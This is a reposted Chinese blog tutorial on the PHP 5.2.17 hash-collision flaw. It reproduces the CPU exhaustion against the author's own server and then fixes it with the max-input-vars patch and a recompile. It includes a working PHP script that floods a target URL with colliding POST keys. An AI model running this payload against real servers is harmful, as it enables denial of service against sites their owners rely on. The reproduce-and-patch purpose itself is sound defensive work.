也想出现在这里? 联系我们

PHP Hash冲突导致 CPU 100%的完全解决方法

作者 : 小编 本文共1888个字,预计阅读时间需要5分钟 发布时间: 2021-06-9 共1.62K人阅读
也想出现在这里? 联系我们

我们先看下环境,这个网站是LAMP架构,PHP版本是5.2.17。

PHP未打补丁前,服务器CPU情况,目前是2.1%的使用率。

我们在这台web服务器上编写一个PHP程序,目的是要测试机去Hash它,以便故障重现。程序语言如下:

复制代码

代码如下:

<?php echo $showtime=date(\”Y-m-d H:i:s\”); ?>

执行后的效果是取当前服务器的时间。

找台有PHP环境的测试机器,这台机器我用虚拟机,里面有LAMP环境。进/usr/local/apache/htdocs目录,写一PHP网页,程序语言如下:[root@blog htdocs]# Vi hash.php

复制代码

代码如下:

<?php $size = pow(2, 16); $data = \’\’; for ($key = 0, $maxKey = ($size – 1) * $size; $key <= $maxKey; $key += $size) { $data .= $key.\’=&\’; } $url = \’http://www.liuxxxxx.com/checktime.php\’; $rs = array(); $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER,0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); for ($i=0; $i<100; ++$i) { curl_exec($ch); } curl_close($ch); ?>

url地址,为你要作测试的目标机,i<100,表示最多100个并发。手工执行hash.php,进行hash碰撞。[root@blog htdocs]# /usr/local/php/bin/php hash.php

在web服务器端,我们去看服务器的资源利用情况,CPU是97.6%,看样子单台虚拟机,拿100并发去Hash,就足够把web服务器的CPU利用率升至100%。

Cpu到了100%,网站是什么情况呢。我们再浏览该台web服务器,点网站上面的链接,反应正常,估计是这台web服务器本身没有一点压力,所以看不出来。把并发量调到10000,再测下,刚才是100并发。

刷新checktime.php页面,可以很快显示,网站正常。但此时web服务器cpu已是100%

结论,我是用个人博客作目标机,因为个人博客,目前只有几个人访问,没有压力,所以即使,通过10000并发的Hash,CPU上到100%,个人博客打开的速度,还是相当快。

打上补丁,我们再观察一下。1、先查下以后在搭建环境时,PHP的编译参数

2、到网上去下载一个PHP补丁,下载地址为:https://github.com/laruence/laruence.github.com/tree/master/php-5.2-max-input-vars

3、根据个人平台的版本号,点击进去,注意,不要在它上面点右键,另存为,否则你down下的是一个html文件,文件名倒是php-5.2.17-max-input-vars.patch。在新弹出的页面点“raw”,就会打开这个补丁文件。

把里面的内容复制,我这里只截了它一小部分。然后在web服务器上新建一个文件,php-5.2.17-max-input-vars.patch,里面就是刚复制的。

4、进php的原始安装目录,我这里环境是/opt/soft/php-5.2.17。先把原来已编译好的一些,清理一下。

5、打补丁并重新编译一下php

再config再make ZEND_EXTRA_LIBS=\’-liconv\’ //有的平台是make,每个环境不一样再make install

6、重启一下apache,看效果[root@lghblog php-5.2.17]# pkill httpd[root@lghblog php-5.2.17]#/usr/local/apache/bin/apachectl start

访问一下,web服务器的phpinfo.php,查看PHP环境有没有变化。大家可以在最上面看到,PHP版本后带了个P1。这个还不够,我们再用Hash碰撞一下,看cpu会不会上100%。

在测试机上,还是取并发10000,去Hash web服务器。发现web服务器的CPU一直保持在0.5%。

问题解决!

本文出自 “系统网络运维” 博客

1. 本站所提供的源码模板(主题/插件)等资源仅供学习交流,若使用商业用途,请购买正版授权,否则产生的一切后果将由下载用户自行承担,有部分资源为网上收集或仿制而来,若模板侵犯了您的合法权益,请来信通知我们(Email: rayer@88.com),我们会及时删除,给您带来的不便,我们深表歉意!
2. 分享目的仅供大家学习和交流,请不要用于商业用途!
3. 如果你也有好源码或者教程,可以到用户中心发布投稿,分享有金币奖励和额外收入!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务 请大家谅解!
5. 如有链接无法下载、失效或广告,请联系站长,可领回失去的金币,并额外有奖!
6. 如遇到加密压缩包,默认解压密码为"www.zyfx8.cn",如遇到无法解压的请联系管理员!
本站部分文章、资源来自互联网,版权归原作者及网站所有,如果侵犯了您的权利,请及时联系我站删除。免责声明
资源分享吧 » PHP Hash冲突导致 CPU 100%的完全解决方法

常见问题FAQ

免费下载或者VIP会员专享资源能否直接商用?
本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。

发表评论

Copyright 2015-2020 版权所有 资源分享吧 Rights Reserved. 蜀ICP备14022927号-1
开通VIP 享更多特权,建议使用QQ登录